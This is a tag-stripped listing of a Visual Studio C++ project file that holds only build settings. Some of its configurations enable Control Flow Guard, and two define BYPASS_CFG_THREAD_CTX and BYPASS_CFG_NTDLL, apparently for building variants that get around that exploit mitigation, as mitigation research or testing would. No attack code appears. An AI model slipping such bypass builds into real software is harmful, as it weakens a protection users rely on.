163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | true 189 | 190 | 191 | false 192 | 193 | 194 | false 195 | 196 | 197 | false 198 | 199 | 200 | false 201 | 202 | 203 | false 204 | 205 | 206 | true 207 | 208 | 209 | false 210 | 211 | 212 | false 213 | 214 | 215 | false 216 | 217 | 218 | false 219 | 220 | 221 | false 222 | 223 | 224 | 225 | Level3 226 | true 227 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 228 | true 229 | 230 | 231 | Console 232 | true 233 | 234 | 235 | 236 | 237 | Level3 238 | true 239 | true 240 | true 241 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 242 | true 243 | 244 | 245 | Console 246 | true 247 | true 248 | true 249 | 250 | 251 | 252 | 253 | Level3 254 | true 255 | true 256 | true 257 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 258 | true 259 | 260 | 261 | Console 262 | true 263 | true 264 | true 265 | 266 | 267 | 268 | 269 | Level3 270 | true 271 | true 272 | true 273 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 274 | true 275 | 276 | 277 | Console 278 | true 279 | true 280 | true 281 | 282 | 283 | 284 | 285 | Level3 286 | true 287 | true 288 | true 289 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 290 | true 291 | 292 | 293 | Console 294 | true 295 | true 296 | true 297 | 298 | 299 | 300 | 301 | Level3 302 | true 303 | true 304 | true 305 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 306 | true 307 | 308 | 309 | Console 310 | true 311 | true 312 | true 313 | 314 | 315 | 316 | 317 | Level3 318 | true 319 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 320 | true 321 | 322 | 323 | Console 324 | true 325 | 326 | 327 | 328 | 329 | Level3 330 | true 331 | true 332 | true 333 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 334 | true 335 | Guard 336 | 337 | 338 | Console 339 | true 340 | true 341 | true 342 | 343 | 344 | 345 | 346 | Level3 347 | true 348 | true 349 | true 350 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 351 | true 352 | false 353 | 354 | 355 | Console 356 | true 357 | true 358 | true 359 | 360 | 361 | 362 | 363 | Level3 364 | true 365 | true 366 | true 367 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 368 | true 369 | Guard 370 | 371 | 372 | Console 373 | true 374 | true 375 | true 376 | 377 | 378 | 379 | 380 | Level3 381 | true 382 | true 383 | true 384 | BYPASS_CFG_THREAD_CTX;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 385 | true 386 | Guard 387 | 388 | 389 | Console 390 | true 391 | true 392 | true 393 | 394 | 395 | 396 | 397 | Level3 398 | true 399 | true 400 | true 401 | BYPASS_CFG_NTDLL;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 402 | true 403 | Guard 404 | 405 | 406 | Console 407 | true 408 | true 409 | true 410 | 411 | 412 | 413 | 414 | 415 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | 423 | 424 | 425 | 426 | 427 | 428 | 429 | --------------------------------------------------------------------------------